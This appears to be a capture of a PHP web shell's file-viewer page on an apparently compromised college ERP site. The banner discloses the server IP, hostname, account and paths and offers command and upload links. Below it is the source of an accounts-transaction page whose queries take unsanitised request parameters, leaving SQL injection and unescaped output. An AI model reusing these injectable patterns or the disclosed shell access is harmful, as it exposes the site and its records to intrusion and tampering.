|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/miereducation.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
$installment_id=mysqli_fetch_array($installment_id);
$installment_id=$installment_id['menuper'];
$menuper=explode(',',$installment_id);
if(in_array('Manage Accounts',$menuper)){
}else{
header("location:index.php");
}
$_SESSION['page_name']="Accounts Transactions";
include('include/function.php');
include("include/header.php");
include("banktobalance.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
$dovalue="";
$doid=$_REQUEST['did'];
mysqli_query($con,"delete from PartyTranctions where id='$doid'");
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=PartyTransactionEntry.php">';
exit;
}
if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){
$dovalue="PartyTranctions";
$doid=$_REQUEST['upid'];
$upuserresult=mysqli_query($con,"select * from PartyTranctions where id='".$_REQUEST['upid']."'");
$upuserarr=mysqli_fetch_array($upuserresult);
}else{
$dovalue="PartyTranctions";
$doid='';
}
?>
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1> Party Transaction Entry <small></small> </h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="#">Party Transaction Entry</a></li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-md-12">
<?php if(!empty($_SESSION['msg'])){
$msg=$_SESSION["msg"];
echo '<div class="col-md-12">
<div class="alert alert-success alert-dismissible">
<a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
'.$msg.'
</div>'; $_SESSION["msg"]='';} ?>
<div class="box box-info">
<div class="box-header">
<h3 class="box-title"> Party Transaction Entry<small></small></h3>
<!-- tools box -->
<div class="pull-right box-tools">
<button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
<button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
</div>
<!-- /. tools -->
</div>
<!-- /.box-header -->
<div class="box-body pad">
<div class="col-md-8">
<form method="post" action="action2.php" enctype="multipart/form-data" role="form">
<input type="hidden" name="do" value="<?php echo $dovalue;?>" />
<input type="hidden" name="doid" value="<?php echo $doid;?>" />
<input type="hidden" name="UserID" value="<?php echo $_SESSION["ecomid"];?>" />
<!-- text input -->
<div class="row">
<div style="clear:both"> </div>
<div class="col-md-4 col-sm-4 subject">
<label for="name">Account Category</label>
</div>
<div class="col-md-4 col-sm-4 subject">
<select name="category" id="category" class="form-control" required>
<option value=' '>--Select Account Category--</option>
<?php $CasteQuery=mysqli_query($con,"select * from partycategory");
while($CasteRow=mysqli_fetch_array($CasteQuery)){
echo '<option value="'.$CasteRow['id'].'" '.($upuserarr['Transaction_type'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['party_name'].'</option>';
} ?>
</select>
</div>
<div style="clear:both"> </div>
<div class="col-md-4 col-sm-4 subject">
<label for="name">Party Name</label>
</div>
<div class="col-md-4 col-sm-4 subject">
<input type="hidden" name="typscheck" id="typscheck" class="form-control" />
<select name="Party_id" id="PartyName" class="form-control" required>
</select>
</div>
<div style="clear:both"> </div>
<div class="col-md-4 col-sm-4 subject">
<label>Course Name *</label>
</div>
<div class="col-md-4 col-sm-4 subject">
<select name="course" class="form-control subject" required
>
<option value=''>-select-</option>
<?php $CasteQuery=mysqli_query($con,"select * from course");
while($CasteRow=mysqli_fetch_array($CasteQuery)){
echo '<option value="'.$CasteRow['id'].'" '.($upuserarr['course'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' '.($upuserarr['course'] == $CasteRow['id'] ? 'readonly="true"' : '' ).' >'.$CasteRow['c_name'].'</option>';
} ?>
</select>
</div>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject">
<label for="name"> Purchase Of </label>
</div>
<div class="col-md-4 col-sm-4 subject">
<input name="Purchase" type="text"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['Purchase'];}?>"
id="ContentPlaceHolder1_txtPurchaseOf" class="form-control">
</div>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject">
<label for="name"> Quantity </label>
</div>
<div class="col-md-4 col-sm-4 subject">
<input name="Quantity" type="text" id="ContentPlaceHolder1_txtQuantity"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['Quantity'];}?>" class="form-control">
</div>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject">
<label for="name">Bill Amount </label>
</div>
<div class="col-md-4 col-sm-4 subject">
<input name="Bill_Amount" type="text" id="ContentPlaceHolder1_txtBillamount"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['Bill_Amount'];}?>" class="form-control">
</div>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject">
<label for="name">Payment Mode </label>
</div>
<div class="col-md-4 col-sm-4 subject">
<select name="Payment_Mode" id="coursealert" class="form-control">
<option value="ByCash" <?php if($upuserarr['Payment_Mode']=='ByCash'){echo 'selected';}?>>ByCash</option>
<option value="ByCheque" <?php if($upuserarr['Payment_Mode']=='ByCheque'){echo 'selected';}?>>ByCheque</option>
<!-- <option value="ByDemandDraft" <?php //if($upuserarr['Payment_Mode']=='ByDemandDraft'){echo 'selected';}?>>ByDemandDraft</option>
<option value="ByNEFT" <?php //if($upuserarr['Payment_Mode']=='ByNEFT'){echo 'selected';}?>>ByNEFT</option>
<option value="ByPOS" <?php //if($upuserarr['Payment_Mode']=='ByPOS'){echo 'selected';}?>>ByPOS</option> -->
</select>
</div>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject banks" style='display:none;'>
<label>Bank Name </label>
</div>
<div class="col-md-4 col-sm-4 subject banks" style='display:none;'>
<select name="bank" class="form-control subject" id='bankscahnge' >
<option value="NA" class='asde'>-select-</option>
<?php $CasteQuery=mysqli_query($con,"select * from bankdetails");
while($CasteRow=mysqli_fetch_array($CasteQuery)){
echo '<option value="'.$CasteRow['id'].'" '.($upuserarr['bank'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['bankname'].'</option>';
} ?>
</select>
</div>
<br>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject banks" style='display:none;'>
<label>Bank (Income received from) </label>
</div>
<div class="col-md-4 col-sm-4 subject banks" style='display:none;'>
<input type='text' name='bank_name' class="form-control"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['bank_name'];}?>" id="ContentPlaceHolder1_txtBillamount" />
</div>
<br>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject banks" style='display:none;'>
<label>Check No </label>
</div>
<div class="col-md-4 col-sm-4 subject banks" style='display:none;'>
<input type='text' name='checkno' class="form-control"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['checkno'];}?>" id="ContentPlaceHolder1_txtBillamount" />
</div>
<br>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject dd_or_pos" style='display:none;'>
<label>DD OR POS </label>
</div>
<div class="col-md-4 col-sm-4 subject dd_or_pos" style='display:none;'>
<input type='text' name='dd_or_pos' class="form-control"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['checkno'];}?>" id="ContentPlaceHolder1_txtBillamount" />
</div>
<br>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject">
<label for="name">Pay Amount </label>
</div>
<div class="col-md-4 col-sm-4 subject">
<input name="Pay_Amount" type="text" id="ContentPlaceHolder1_txtPayAmount"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['Pay_Amount'];}?>" class="form-control">
</div>
<div class="col-md-4 col-sm-4 subject">
<input name="created_at" type="date" id="payment_date"
value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['created_at'];}else{ echo date("Y-m-d");}?>" class="form-control" required>
</div>
<br>
<?php
$upuserresultgs=mysqli_query($con,"select * from totalcash where id='1'");
$upuserresultgsf=mysqli_fetch_array($upuserresultgs);
?>
<div style="clear: both"></div>
<input type="hidden" name="totalcash" value="<?php echo $upuserresultgsf['cash']; ?>" id="totalcashs" />
<input type="hidden" name="totalbank" id="totalbank" />
<div class="col-md-4 col-sm-4 subject " style="margin-top: 5px;"> <span id="ContentPlaceHolder1_lblPayment"></span> </div>
<div class="col-md-4 col-sm-4 subject "> </div>
<div style="clear: both"></div>
<div class="col-md-4 col-sm-4 subject" style="margin-top: 5px;">
<label for="name">Bill:</label>
</div>
<div class="col-md-4 col-sm-4 subject">
<input type="file" name="Bill" id="ContentPlaceHolder1_upldBill" class="filestyle">
</div>
<div class="col-md-4">
<?php if(isset($_REQUEST['upid'])){ ?>
<img src="images/StudentEnquiry/<?php echo $upuserarr['Bill']; ?>" height="70" width="70"/>
<?php } ?>
</div>
</div>
<div class="box-footer">
<input type="submit" class="btn btn-primary" name="ctl00$ContentPlaceHolder1$btnsave" value="Save"/>
<input type="reset" name="ctl00$ContentPlaceHolder1$btn_reset" value="Reset" id="ContentPlaceHolder1_btn_reset" class="btn btn-primary">
</div>
</form>
</div>
</div>
</div>
<!-- /.box -->
</div>
<!-- /.col-->
</div>
<!-- ./row -->
</section>
<!-- /.content -->
<section class="content">
<div class="row">
<div class="col-xs-12">
<div class="box">
<div class="box-header">
<h3 class="box-title">Party Tranctions Report</h3>
</div>
<!-- /.box-header -->
<div class="box-body" style="overflow-x: scroll;">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th scope="col">Sr no</th>
<th scope="col">Income or Expense</th>
<th scope="col">Transaction Type</th>
<th scope="col">Party Name</th>
<th scope="col">Purchase</th>
<th scope="col">Quantity</th>
<th scope="col">Bill Amount</th>
<th scope="col">Pay Amount</th>
<th scope="col">Payment Mode</th>
<th scope="col">Bill</th>
<th scope="col">DD OR POS</th>
<th scope="col">Created At</th>
<th scope="col">Action</th>
</tr>
</thead>
<tbody>
<?php $Query=mysqli_query($con,"select *,course.partytype,course.id as ids,PartyTranctions.id as id,PartyTranctions.created_at as crete from PartyTranctions
left JOIN party_entry as
course ON PartyTranctions.Party_id=course.id
left JOIN partycategory as
partycategory ON PartyTranctions.Transaction_type=partycategory.id where PartyTranctions.approve=1
order by PartyTranctions.id desc");
$i = 1;
while($Row=mysqli_fetch_array($Query)){ ?>
<tr>
<td><?php echo $i; ?></td>
<td><?=$Row['partytype'];?></td>
<td><?=$Row['party_name'];?></td>
<td><?=$Row['partyname'];?></td>
<td><?=$Row['Purchase'];?></td>
<td><?=$Row['Quantity'];?></td>
<td><?=$Row['Bill_Amount'];?></td>
<td><?=$Row['Pay_Amount'];?></td>
<td><?=$Row['Payment_Mode'];?></td>
<td><a href="images/StudentEnquiry/<?php echo $Row['Bill'];?>"><img src="images/StudentEnquiry/<?php echo $Row['Bill'];?>" height="70" width="70" /></a></td>
<td><?=$Row['dd_or_pos'];?></td>
<td><?=$Row['crete'];?></td>
<td>
<?php
if($Row['partytype']=="Income"){
?>
<a href="./partypaymentrecipt2.php?upid=<?php echo $Row["id"]; ?> "><i class="fa fa-eye "></i></a>
<?php
}else{
?>
<a href="./partypaymentrecipt.php?upid=<?php echo $Row["id"]; ?> "><i class="fa fa-eye "></i></a>
<?php
}
?>
<a href="?upid=<?php echo $Row["id"]; ?>"><i class="fa fa-pencil text-yellow"></i></a> <a href="?did=<?php echo $Row["id"]; ?>" onclick="return confirm_click();"><i class="fa fa-remove text-red"></i></a>
</td>
</tr>
<?php $i++;} ?>
</tbody>
</table>
</div>
<!-- /.box-body -->
</div>
<!-- /.box -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
</div>
<?php include('include/footer.php');?>
<script src="plugins/datatables/jquery.dataTables.min.js" type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js" type="text/javascript"></script>
<script src="bootstrap/js/dataTables.buttons.min.js" type="text/javascript"></script>
<script src="bootstrap/js/jszip.min.js" type="text/javascript"></script>
<script src="bootstrap/js/pdfmake.min.js" type="text/javascript"></script>
<script src="bootstrap/js/vfs_fonts.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.html5.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.print.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.colVis.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.flash.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function() {
$('#example1').DataTable( {
} );
var htmls='';
$('#PartyName').html('');
var course=$('#category :selected').val();
//alert(course);
$.ajax({
type: "POST",
url: "partynames.php",
data: {'course': course},
dataType: "json",
success: function(dataString) {
console.log(dataString);
$.each(dataString, function(key,valv) {
htmls+= "<option value='"+ valv.id +"'>" + valv.partyname + "</option>";
});
$('#PartyName').append(htmls);
}
});
var course=$('#coursealert :selected').val();
if(course=='ByCheque'){
$('.dd_or_pos').css('display','none');
$('.banks').css('display','block');
}else if(course=='ByDemandDraft' || course=='ByPOS'){
$('.banks').css('display','none');
$('.dd_or_pos').css('display','block');
}else{
$('.dd_or_pos').css('display','none');
$('.banks').css('display','none');
}
} );
//$(function () {
//$("#example1").DataTable();
//});
</script>
<script>
$('#category').on('change',function(){
var htmls='';
$('#PartyName').html('');
var course=$('#category :selected').val();
//alert(course);
$.ajax({
type: "POST",
url: "partynames.php",
data: {'course': course},
dataType: "json",
success: function(dataString) {
if(dataString.length==1){
console.log(dataString[0].partytype);
$('#typscheck').val(dataString[0].partytype);
}
$.each(dataString, function(key,valv) {
htmls+= "<option value='"+ valv.id +"'>" + valv.partyname + "</option>";
});
$('#PartyName').append(htmls);
}
});
});
$('#PartyName').on('change',function(){
var PartyName=$('#PartyName :selected').val();
//alert(course);
$.ajax({
type: "POST",
url: "partynames.php",
data: {'PartyId': PartyName},
dataType: "json",
success: function(dataString) {
if(dataString.length==1){
$('#typscheck').val(dataString[0].partytype);
}
}
});
});
$('#coursealert').on('change',function(){
var course=$('#coursealert :selected').val();
if(course=='ByCheque'){
$('.dd_or_pos').css('display','none');
$('.banks').css('display','block');
}else if(course=='ByDemandDraft' || course=='ByPOS'){
$('.banks').css('display','none');
$('.dd_or_pos').css('display','block');
}else{
$('.dd_or_pos').css('display','none');
$('.banks').css('display','none');
}
});
$('#ContentPlaceHolder1_txtPayAmount').on('blur',function(){
var inputbalance=$('#ContentPlaceHolder1_txtPayAmount').val();
var billamount=$('#ContentPlaceHolder1_txtBillamount').val();
var totalcashs=$('#totalcashs').val();
var totalbank=$('#totalbank').val();
// alert(totalbank);
var course=$('#coursealert :selected').val();
// alert(course);
if(parseInt(billamount)+1<=parseInt(inputbalance)){
alert('Please Enter Amount Less Then '+billamount);
$('#ContentPlaceHolder1_txtPayAmount').val('');
}
else if(parseInt(totalcashs)+1<=parseInt(inputbalance) && course=='ByCash'){
if($('#typscheck').val()=='Income'){}else{
alert('Please Enter Amount Less Then '+totalcashs);
$('#ContentPlaceHolder1_txtPayAmount').val('');
}
} else if(parseInt(totalbank)+1<=parseInt(inputbalance) && course=='ByCheque'){
if($('#typscheck').val()=='Income'){}else{
alert('Please Enter Amount Less Then '+totalbank);
$('#ContentPlaceHolder1_txtPayAmount').val('');
}
}else{
}
});
$('#bankscahnge').on('change',function(){
var htmls='';
$('#ContentPlaceHolder1_txtPayAmount').val('');
var inputbalance=$('#ContentPlaceHolder1_txtPayAmount').val();
var course=$('#bankscahnge :selected').val();
// alert(course);
$.ajax({
type: "POST",
url: "bankaccountbalance.php",
data: {'id': course},
dataType: "json",
success: function(dataString) {
$('#totalbank').val(parseInt(dataString.amount));
}
});
});
</script>